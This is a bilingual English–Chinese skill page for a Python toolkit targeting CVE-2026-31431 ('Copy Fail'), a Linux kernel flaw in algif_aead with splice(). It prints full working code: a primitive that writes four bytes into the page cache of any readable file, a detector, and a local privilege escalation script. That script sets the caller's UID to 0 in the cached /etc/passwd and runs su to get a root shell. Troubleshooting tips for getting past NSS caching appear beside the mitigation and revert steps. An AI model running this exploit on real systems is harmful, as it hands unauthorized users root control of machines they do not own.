cve-2026-31431-copy-fail

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CVE-2026-31431 ("Copy Fail") Toolkit

CVE-2026-31431("Copy Fail")工具包

Skill by ara.so — Daily 2026 Skills collection.
A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where
algif_aead
with
authencesn(hmac(sha256),cbc(aes))
performs an in-place AEAD operation via
splice()
, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of
/etc/passwd
or other world-readable files for local privilege escalation.
Authorization notice: Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.
技能由ara.so提供 — 2026每日技能合集。
这是一个用于检测和演示CVE-2026-31431的Python工具包,该Linux内核漏洞中,使用
authencesn(hmac(sha256),cbc(aes))
algif_aead
通过
splice()
执行原地AEAD操作,写入普通文件的页面缓存页——允许非特权用户破坏内核中
/etc/passwd
或其他全局可读文件的内存视图,从而实现本地权限提升。
**授权声明:**仅可在你拥有或被明确授权评估的系统上使用。在未授权系统上运行此工具在大多数司法管辖区属于违法行为。

Affected Systems

受影响系统

  • Linux kernels carrying commit
    72548b093ee3
    (in-place AEAD, 2017) without the upstream revert
  • Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
  • 包含提交
    72548b093ee3
    (原地AEAD功能,2017年)且未应用上游回退补丁的Linux内核
  • 已确认受影响:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16

Installation

安装

No installation required. Pure Python 3.10+ stdlib — clone and run directly.
sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version  # requires 3.10+
无需安装。纯Python 3.10+标准库工具——直接克隆并运行即可。
sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version  # 需要3.10+

Files

文件说明

FilePurpose
test_cve_2026_31431.py
Non-destructive detector; operates only on a temp sentinel file
exploit_cve_2026_31431.py
LPE; flips UID to 0 in
/etc/passwd
page cache, then invokes
su
文件用途
test_cve_2026_31431.py
非破坏性检测工具;仅对临时标记文件操作
exploit_cve_2026_31431.py
LPE利用工具;将
/etc/passwd
页面缓存中的UID修改为0,然后调用
su

Key Commands

核心命令

Detector

检测工具

sh
python3 test_cve_2026_31431.py
Exit codes:
  • 0
    — Not vulnerable (precondition not met or page cache intact)
  • 1
    — Test error
  • 2
    Vulnerable (marker landed in spliced page)
sh
python3 test_cve_2026_31431.py
退出码说明:
  • 0
    — 不存在漏洞(未满足前置条件或页面缓存未被篡改)
  • 1
    — 测试出错
  • 2
    存在漏洞(标记已写入拼接页面)

Exploit

漏洞利用

sh
undefined
sh
undefined

Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)

仅修补/etc/passwd页面缓存(试运行,退出时自动恢复)

python3 exploit_cve_2026_31431.py
python3 exploit_cve_2026_31431.py

Patch and spawn root shell via su

修补并通过su生成root Shell

python3 exploit_cve_2026_31431.py --shell
undefined
python3 exploit_cve_2026_31431.py --shell
undefined

How the Vulnerability Works

漏洞原理

sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
        flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd)   # returns EBADMSG; scratch write has already landed
The
authencesn
algorithm writes bytes 4–7 of the AAD (
seqno_lo
) into the destination scatterlist. When
splice()
is used, that destination is the page-cache page of the source file. The on-disk file is never modified.
sendmsg([8字节AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
        flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd)   # 返回EBADMSG;临时写入已完成
authencesn
算法会将AAD的第4-7字节(
seqno_lo
)写入目标散列表。当使用
splice()
时,目标就是源文件的页面缓存页。磁盘上的文件从未被修改

Core Detection Logic (from
test_cve_2026_31431.py
)

核心检测逻辑(来自
test_cve_2026_31431.py

python
import os, socket, struct, tempfile, ctypes

MARKER = b'PWND'
ALG_SET_KEY       = 1
ALG_SET_IV        = 2
ALG_SET_OP        = 3
ALG_SET_AEAD_ASSOCLEN = 4

def check_preconditions():
    """Verify AF_ALG and authencesn algorithm are reachable."""
    try:
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        sock.bind({
            'type': 'aead',
            'name': 'authencesn(hmac(sha256),cbc(aes))',
            'feat': 0,
            'mask': 0,
        })
        sock.close()
        return True
    except (OSError, AttributeError):
        return False

def write4(target_path, file_offset, payload_4bytes):
    """
    Write exactly 4 bytes into the page cache of target_path at file_offset
    using the algif_aead splice path. The auth check will fail (EBADMSG)
    but the scratch write fires regardless.
    """
    assert len(payload_4bytes) == 4

    # Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
    aes_key  = bytes(32)
    hmac_key = bytes(32)
    key = hmac_key + aes_key  # authencesn key layout

    # Create AF_ALG socket bound to the vulnerable algorithm
    alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind({
        'type': 'aead',
        'name': 'authencesn(hmac(sha256),cbc(aes))',
        'feat': 0,
        'mask': 0,
        'authsize': 32,
    })
    alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
    op_fd, _ = alg_sock.accept()

    # 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
    aad = bytes(4) + payload_4bytes   # seqno_lo = our 4-byte payload

    # Send AAD inline via sendmsg with control messages
    iv = bytes(16)  # CBC IV
    cmsg = [
        (socket.SOL_ALG, ALG_SET_OP,          struct.pack('I', 0)),  # DECRYPT=0
        (socket.SOL_ALG, ALG_SET_IV,          struct.pack('II', 16, 0) + iv),
        (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
    ]
    op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)

    # splice the target file's page-cache page into the op socket
    pipe_r, pipe_w = os.pipe()
    target_fd = os.open(target_path, os.O_RDONLY)
    os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
    os.splice(pipe_r,    op_fd,  32)

    # Drive the decryption — EBADMSG expected; scratch write already fired
    try:
        op_fd.recv(64)
    except OSError:
        pass  # EBADMSG is expected

    os.close(pipe_r)
    os.close(pipe_w)
    os.close(target_fd)
    op_fd.close()
    alg_sock.close()

def detect():
    if not check_preconditions():
        print("Precondition not met — AF_ALG or authencesn unavailable")
        return 0

    with tempfile.NamedTemporaryFile(delete=False) as f:
        sentinel_path = f.name
        f.write(b'\x00' * 4096)

    try:
        # Populate page cache
        with open(sentinel_path, 'rb') as f:
            f.read()

        write4(sentinel_path, 0, MARKER)

        # Read back from page cache
        with open(sentinel_path, 'rb') as f:
            data = f.read(16)

        if MARKER in data:
            print("VULNERABLE to CVE-2026-31431")
            return 2
        elif data != b'\x00' * 16:
            print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
            return 2
        else:
            print("Page cache intact — not vulnerable")
            return 0
    finally:
        os.unlink(sentinel_path)

if __name__ == '__main__':
    raise SystemExit(detect())
python
import os, socket, struct, tempfile, ctypes

MARKER = b'PWND'
ALG_SET_KEY       = 1
ALG_SET_IV        = 2
ALG_SET_OP        = 3
ALG_SET_AEAD_ASSOCLEN = 4

def check_preconditions():
    """验证AF_ALG和authencesn算法是否可用。"""
    try:
        sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        sock.bind({
            'type': 'aead',
            'name': 'authencesn(hmac(sha256),cbc(aes))',
            'feat': 0,
            'mask': 0,
        })
        sock.close()
        return True
    except (OSError, AttributeError):
        return False

def write4(target_path, file_offset, payload_4bytes):
    """
    使用algif_aead拼接路径,向target_path的页面缓存中file_offset位置写入恰好4字节数据。
    身份验证会失败(EBADMSG),但临时写入仍会执行。
    """
    assert len(payload_4bytes) == 4

    # 生成256位AES密钥 + 256位HMAC-SHA256密钥(PoC中可任意设置)
    aes_key  = bytes(32)
    hmac_key = bytes(32)
    key = hmac_key + aes_key  # authencesn密钥格式

    # 创建绑定到易受攻击算法的AF_ALG套接字
    alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    alg_sock.bind({
        'type': 'aead',
        'name': 'authencesn(hmac(sha256),cbc(aes))',
        'feat': 0,
        'mask': 0,
        'authsize': 32,
    })
    alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
    op_fd, _ = alg_sock.accept()

    # 8字节AAD:0-3字节 = seqno_hi(忽略),4-7字节 = seqno_lo(会被写入)
    aad = bytes(4) + payload_4bytes   # seqno_lo = 我们的4字节载荷

    # 通过sendmsg发送AAD及控制消息
    iv = bytes(16)  # CBC向量
    cmsg = [
        (socket.SOL_ALG, ALG_SET_OP,          struct.pack('I', 0)),  # DECRYPT=0
        (socket.SOL_ALG, ALG_SET_IV,          struct.pack('II', 16, 0) + iv),
        (socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
    ]
    op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)

    # 将目标文件的页面缓存页拼接到操作套接字
    pipe_r, pipe_w = os.pipe()
    target_fd = os.open(target_path, os.O_RDONLY)
    os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
    os.splice(pipe_r,    op_fd,  32)

    # 触发解密操作——预期返回EBADMSG;临时写入已完成
    try:
        op_fd.recv(64)
    except OSError:
        pass  # EBADMSG属于预期情况

    os.close(pipe_r)
    os.close(pipe_w)
    os.close(target_fd)
    op_fd.close()
    alg_sock.close()

def detect():
    if not check_preconditions():
        print("未满足前置条件 — AF_ALG或authencesn不可用")
        return 0

    with tempfile.NamedTemporaryFile(delete=False) as f:
        sentinel_path = f.name
        f.write(b'\x00' * 4096)

    try:
        # 填充页面缓存
        with open(sentinel_path, 'rb') as f:
            f.read()

        write4(sentinel_path, 0, MARKER)

        # 从页面缓存读取内容
        with open(sentinel_path, 'rb') as f:
            data = f.read(16)

        if MARKER in data:
            print("存在CVE-2026-31431漏洞")
            return 2
        elif data != b'\x00' * 16:
            print("页面缓存已通过原地AEAD拼接路径被修改 — 视为存在漏洞")
            return 2
        else:
            print("页面缓存未被篡改 — 不存在漏洞")
            return 0
    finally:
        os.unlink(sentinel_path)

if __name__ == '__main__':
    raise SystemExit(detect())

LPE Pattern (from
exploit_cve_2026_31431.py
)

LPE利用模式(来自
exploit_cve_2026_31431.py

python
import os, pwd, subprocess

def find_uid_offset(username):
    """Find the byte offset of the UID field in /etc/passwd for username."""
    with open('/etc/passwd', 'rb') as f:
        content = f.read()

    for line in content.split(b'\n'):
        if line.startswith(username.encode() + b':'):
            fields = line.split(b':')
            # fields[2] is the UID
            offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
            uid_field = fields[2]
            return offset, uid_field
    raise ValueError(f"User {username!r} not found in /etc/passwd")

def exploit(username, spawn_shell=False):
    uid_offset, uid_field = find_uid_offset(username)

    if len(uid_field) != 4:
        raise ValueError(
            f"UID {uid_field.decode()!r} is not 4 digits — "
            "1-3 digit UIDs require multi-shot writes"
        )

    print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
    write4('/etc/passwd', uid_offset, b'0000')

    # Verify libc now reports UID 0
    entry = pwd.getpwnam(username)
    if entry.pw_uid != 0:
        print("[!] getpwnam still returns original UID — NSS cache may be active")
        print("    Try: sudo systemctl stop nscd sssd systemd-userdbd")
        return

    print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")

    if spawn_shell:
        print(f"[*] Spawning root shell via: su {username}")
        print("[*] Enter your own password at the prompt")
        os.execvp('su', ['su', username])
    else:
        print("[*] Dry-run complete. Page cache will be evicted on exit.")
        # Auto-evict corrupted page on exit
        fd = os.open('/etc/passwd', os.O_RDONLY)
        os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
        os.close(fd)

if __name__ == '__main__':
    import sys
    username = os.environ.get('USER') or os.getlogin()
    spawn_shell = '--shell' in sys.argv
    exploit(username, spawn_shell)
python
import os, pwd, subprocess

def find_uid_offset(username):
    """查找/etc/passwd中指定用户的UID字段的字节偏移量。"""
    with open('/etc/passwd', 'rb') as f:
        content = f.read()

    for line in content.split(b'\n'):
        if line.startswith(username.encode() + b':'):
            fields = line.split(b':')
            # fields[2]是UID
            offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
            uid_field = fields[2]
            return offset, uid_field
    raise ValueError(f"在/etc/passwd中未找到用户{username!r}")

def exploit(username, spawn_shell=False):
    uid_offset, uid_field = find_uid_offset(username)

    if len(uid_field) != 4:
        raise ValueError(
            f"UID {uid_field.decode()!r}不是4位数字 — "
            "1-3位UID需要多次写入操作"
        )

    print(f"[*] 正在修补/etc/passwd页面缓存中偏移量{uid_offset}处的UID...")
    write4('/etc/passwd', uid_offset, b'0000')

    # 验证libc是否返回UID 0
    entry = pwd.getpwnam(username)
    if entry.pw_uid != 0:
        print("[!] getpwnam仍返回原始UID — NSS缓存可能处于活跃状态")
        print("    尝试:sudo systemctl stop nscd sssd systemd-userdbd")
        return

    print(f"[+] /etc/passwd页面缓存已修补 — {username}现在显示为UID 0")

    if spawn_shell:
        print(f"[*] 通过命令生成root Shell:su {username}")
        print("[*] 在提示符处输入你自己的密码")
        os.execvp('su', ['su', username])
    else:
        print("[*] 试运行完成。页面缓存将在退出时被清除。")
        # 退出时自动清除被篡改的页面
        fd = os.open('/etc/passwd', os.O_RDONLY)
        os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
        os.close(fd)

if __name__ == '__main__':
    import sys
    username = os.environ.get('USER') or os.getlogin()
    spawn_shell = '--shell' in sys.argv
    exploit(username, spawn_shell)

Requirements for LPE

LPE利用要求

  • Running user has a 4-digit UID (1000–9999)
  • No NSS caching daemon masking
    /etc/passwd
    reads (
    nscd
    ,
    sssd
    ,
    systemd-userdbd
    )
  • /etc/passwd
    page remains in cache between patch and
    su
    exec
  • 当前用户拥有4位UID(1000–9999)
  • 没有NSS缓存守护进程屏蔽
    /etc/passwd
    读取操作(
    nscd
    sssd
    systemd-userdbd
  • /etc/passwd
    页面在修补和执行
    su
    之间保持在缓存中

Reverting Page Cache Corruption

恢复页面缓存篡改

The on-disk
/etc/passwd
is never modified. To restore normal UID resolution:
sh
undefined
磁盘上的
/etc/passwd
从未被修改。要恢复正常的UID解析:
sh
undefined

From unprivileged user — evict corrupted page:

非特权用户执行 — 清除被篡改的页面:

python3 -c " import os fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) "
python3 -c " import os fd = os.open('/etc/passwd', os.O_RDONLY) os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED) os.close(fd) "

From root shell — drop all page caches:

Root Shell执行 — 清除所有页面缓存:

echo 3 > /proc/sys/vm/drop_caches
echo 3 > /proc/sys/vm/drop_caches

Or simply reboot

或者直接重启系统

undefined
undefined

Mitigation

缓解措施

sh
undefined
sh
undefined

Disable algif_aead module permanently

永久禁用algif_aead模块

sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'

Unload if currently loaded

如果当前已加载则卸载

sudo rmmod algif_aead 2>/dev/null
sudo rmmod algif_aead 2>/dev/null

Verify — detector should now report "Precondition not met"

验证 — 检测工具应显示“未满足前置条件”

python3 test_cve_2026_31431.py
undefined
python3 test_cve_2026_31431.py
undefined

Troubleshooting

故障排查

SymptomCauseFix
OSError: [Errno 93] Protocol not supported
AF_ALG
not available
Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set
OSError: [Errno 2] No such file or directory
(bind)
algif_aead
module not loaded
sudo modprobe algif_aead
or apply mitigation
getpwnam
returns original UID after patch
NSS cache activeStop
nscd
/
sssd
/
systemd-userdbd
Detector exits 0 on known-vulnerable kernelPage evicted before re-readEnsure no memory pressure; retry immediately
Multi-digit UID < 1000
write4
writes exactly 4 bytes
Pad UID field manually or extend
write4
for multi-shot
症状原因修复方法
OSError: [Errno 93] Protocol not supported
AF_ALG
不可用
内核版本过旧或未启用CONFIG_CRYPTO_USER_API_AEAD配置
OSError: [Errno 2] No such file or directory
(bind操作)
algif_aead
模块未加载
sudo modprobe algif_aead
或应用缓解措施
修补后getpwnam仍返回原始UIDNSS缓存处于活跃状态停止
nscd
/
sssd
/
systemd-userdbd
已知存在漏洞的内核上检测工具返回0重新读取前页面已被清除确保无内存压力;立即重试
UID为少于4位的多位数
write4
仅写入4字节
手动填充UID字段或扩展
write4
以支持多次写入

References

参考资料